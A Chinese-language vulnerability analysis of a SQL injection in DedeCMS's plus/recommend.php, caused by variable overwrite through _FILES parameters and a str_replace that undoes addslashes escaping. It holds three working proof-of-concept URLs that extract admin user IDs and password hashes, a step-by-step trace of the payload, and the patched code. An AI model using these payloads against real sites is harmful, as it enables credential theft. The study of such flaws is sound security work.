catalog
1. 漏洞描述2. 漏洞触发条件3. 漏洞影响范围4. 漏洞代码分析5. 防御方法6. 攻防思考
1. 漏洞描述
1. dedecms原生提供一个"本地变量注册"的模拟实现，原则上允许黑客覆盖任意变量2. dedecms在实现本地变量注册的时候，会对$_GET、$_POST、$_COOKIE等的value值进行addslash转移过滤处理//$key值注入不在本文讨论范围内，详情参阅：http://www.cnblogs.com/LittleHann/p/4505694.html3. 在处理文件上传的逻辑中，存在一条攻击路径，程序自己"反处理"了addslash逻辑，使用于闭合的单引号重新获得攻击效果，造成SQL注入
Relevant Link:
http://0day5.com/archives/1346
0x1: POC1
plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294
0x2: POC2
http://DEDD/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=6873
0x3: POC3
http://DEDE/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\'and+char(@`'`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9 from `%23@__admin`%23
0x4: POC入侵方式
1. 原始数据\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+2.URL提交进来后，\ 和 ’ 分别被转义成 \\ 和 \’\\\' or mid=@`\\\'`/*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`#@__admin` limit 0,1),5,6,7,8,9#@`\\\'`3.URL被带入include/common.inc.php中检查，此步数据未发生变化4.然后来到了include/uploadsafe.inc.php中，经过第行str_replace后，\\被过滤成了\，用于攻击闭合的单引号重新获得攻击能力$$_key = $_FILES[$_key]['tmp_name'] =str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']);\\' or mid=@`\\'`/*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`#@__admin` limit 0,1),5,6,7,8,9#@`\\'`此时引号被成功的带入了查询语句中5.回到plus/recommend.php中，第38行，此时SQL语句被拼成如下：SELECT s.*,t.* FROM `#@_member_stow` AS sLEFT JOIN `#@__member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='1' ANDs.type='\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(selectCONCAT(0x7c,userid,0x7c,pwd) from `#@__admin` limit 0,1),5,6,7,8,9#@`\\'` ' Relevant Link:
http://www.xuebuyuan.com/2095280.htmlhttp://0day5.com/archives/1346http://loudong.360.cn/blog/view/id/17
3. 漏洞影响范围4. 漏洞代码分析
从/plus/recommand.php开始逐步分析
require_once(dirname(__FILE__)."/../include/common.inc.php");..
/include/common.inc.php
..function _RunMagicQuotes(&$svar){ if(!get_magic_quotes_gpc()) { if( is_array($svar) ) { foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v); } else { if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) ) { exit('Request var not allow!'); } $svar = addslashes($svar); } } return $svar;}.. 只要提交的URL中不包含cfg_|GLOBALS|_GET|_POST|_COOKIE，即可通过检查，_FILES[type][tmp_name]被带入
引发漏洞的入口点在/include/uploadsafe.inc.php..//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数if($_FILES){ require_once(DEDEINC.'/uploadsafe.inc.php');}.. /include/uploadsafe.inc.php
..//URL参数中的_FILES[type][tmp_name]，$_key为type，$$_key即为$type，从而导致了$type变量的覆盖$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\","\\",$_FILES[$_key]['tmp_name']);${$_key.'_name'} = $_FILES[$_key]['name'];${$_key.'_type'} = $_FILES[$_key]['type'] = eregi_replace('[^0-9a-z\./]','',$_FILES[$_key]['type']);${$_key.'_size'} = $_FILES[$_key]['size'] = ereg_replace('[^0-9]','',$_FILES[$_key]['size']);.. /plus/recommand.php
//读取文档信息if($action==''){ if($type=='sys'){ //读取文档信息 $arcRow = GetOneArchive($aid); if($arcRow['aid']=='') { ShowMsg("无法把未知文档推荐给好友!","-1"); exit(); } extract($arcRow, EXTR_OVERWRITE); } else { //注入语句被带入数据库查询， $arcRow=$dsql->GetOne("SELECT s.*,t.* FROM `#@__member_stow` AS s LEFT JOIN `#@__member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='$aid' AND s.type='$type'"); if(!is_array($arcRow)){ ShowMsg("无法把未知文档推荐给好友!","-1"); exit(); } $arcRow['arcurl']=$arcRow['indexurl']."=".$arcRow['aid']; extract($arcRow, EXTR_OVERWRITE); }} /include/uploadsafe.inc.php
/* *///$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\","\\",$_FILES[$_key]['tmp_name']);$$_key = $_FILES[$_key]['tmp_name'];/* */${$_key.'_name'} = $_FILES[$_key]['name'];${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) ){ if(!defined('DEDEADMIN')) { exit('Not Admin Upload filetype not allow !'); }}if(empty(${$_key.'_size'})){ ${$_key.'_size'} = @filesize($$_key);}/* 限制上传文件类型 */$imtypes = array("image/pjpeg", "image/jpeg", "image/gif", "image/png", "image/xpng", "image/wbmp", "image/bmp");if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes)){ $image_dd = @getimagesize($$_key); if (!is_array($image_dd)) { exit('Upload filetype not allow !'); }}/* */ Copyright (c) 2015 LittleHann All rights reserved